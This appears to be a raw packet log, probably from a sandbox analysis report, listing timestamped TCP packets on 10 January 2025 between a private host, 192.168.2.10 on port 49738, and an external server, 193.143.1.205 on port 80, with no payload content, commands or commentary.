Jan 10, 2025 18:06:28.296606064 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.328696966 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.328721046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.328736067 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.328756094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.328764915 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.328768969 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.328783989 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.328799009 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.328800917 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.328829050 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.359136105 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.359153032 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.359205008 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.359204054 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.359217882 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.359230995 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.359245062 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.359272957 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.391623974 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.391643047 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.391657114 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.391673088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.391747952 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.391755104 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.391762018 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.391773939 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.391784906 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.391809940 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.391833067 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.392200947 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392215014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392227888 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392242908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392256021 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.392277956 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.392569065 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392582893 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392602921 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392616034 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392627001 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392637014 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.392641068 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392652035 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.392656088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.392680883 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.393556118 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.393570900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.393583059 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.393594980 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.393608093 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.393608093 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.393620014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.393627882 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.393634081 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.393659115 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.393673897 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.394310951 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.394323111 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.394335032 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.394364119 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.394383907 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.394395113 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.394407988 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.394418955 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.394447088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.395160913 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.395174026 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.395189047 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.395200968 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.395232916 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.395246029 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.395258904 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.395270109 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.395283937 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.395298958 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.395308018 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.395337105 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.396105051 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.396116018 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.396135092 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.396147966 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.396162033 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.396162033 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.396189928 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.396193027 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.396205902 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.396239042 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.397010088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.397022009 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.397032976 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.397062063 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.397090912 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.397358894 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417273998 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417299986 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417311907 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417324066 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417337894 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.417361975 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417366028 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.417375088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417387009 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417412996 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.417428017 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.417510033 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417521000 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417532921 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417562962 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.417582989 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417596102 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417608023 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.417617083 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.417645931 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.447824001 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.447838068 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.447890043 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.447901964 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.447913885 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.447937012 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.447949886 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.447964907 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.448035955 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.448035955 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.448035955 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.448035955 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.480293036 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480323076 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480345011 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480365038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480379105 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480391979 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480407000 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480418921 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480432034 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480454922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480467081 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480477095 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480500937 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480514050 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480525017 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480534077 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.480534077 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.480534077 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.480539083 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.480534077 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.480568886 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.480578899 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.481257915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481271029 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481306076 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481311083 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.481317997 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481333017 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481353998 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.481389046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481400967 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481411934 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481424093 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.481425047 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481437922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481456041 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.481475115 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.481926918 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481939077 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481951952 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481965065 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.481992006 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.482016087 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.512658119 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512684107 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512696028 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512711048 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512723923 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512739897 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512825012 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512836933 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512850046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.512876034 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.512876034 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.513008118 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513020039 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513041019 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.513041019 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.513051987 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513066053 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513108015 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.513199091 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513242960 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.513281107 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513292074 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513303995 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513326883 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.513396978 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513407946 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513421059 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513485909 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513498068 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513525009 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513775110 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.513971090 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.513997078 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514008999 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514013052 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.514020920 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514034986 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514045954 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514046907 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.514059067 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514072895 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.514106035 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.514451027 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514462948 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514476061 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514487982 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514499903 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514513016 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514537096 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514549017 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514561892 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514574051 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514586926 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514597893 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514611959 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.514681101 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.515394926 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515409946 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515422106 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515434980 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515448093 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515455008 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.515459061 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515475035 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.515481949 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515494108 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515503883 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.515506029 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515512943 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515520096 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.515525103 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515537977 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515553951 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.515574932 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.515599012 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.516216040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516230106 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516249895 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516261101 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516273022 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516287088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516308069 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516319036 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516330957 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516397953 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.516433954 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516444921 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516458035 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516472101 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.516478062 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.516511917 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.517510891 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.517565966 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.523097038 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.536629915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536647081 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536669970 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536681890 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536695957 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536722898 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536739111 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536751032 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536766052 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536827087 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536840916 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536856890 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536869049 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536881924 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.536967039 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.536967039 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.536967039 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.536967039 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.568964958 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569000006 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569016933 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569031000 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569037914 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569053888 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569076061 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569087982 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569102049 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569114923 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569127083 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569168091 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569165945 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569189072 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569190979 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569201946 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569214106 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569216967 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569228888 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569242954 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569273949 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569451094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569464922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569485903 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569499016 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569510937 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569514036 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569530964 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569540977 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569544077 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569556952 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569571018 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569571972 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569602013 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569757938 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569773912 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569787979 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569798946 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569808960 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569820881 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569833994 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.569834948 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.569859028 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.601346970 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601383924 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601397038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601408958 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601423979 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601435900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601449966 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601461887 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601495028 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.601577997 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601594925 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601607084 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601620913 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601634979 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601666927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601675034 CET	49738	80	192.168.2.10	193.143.1.205
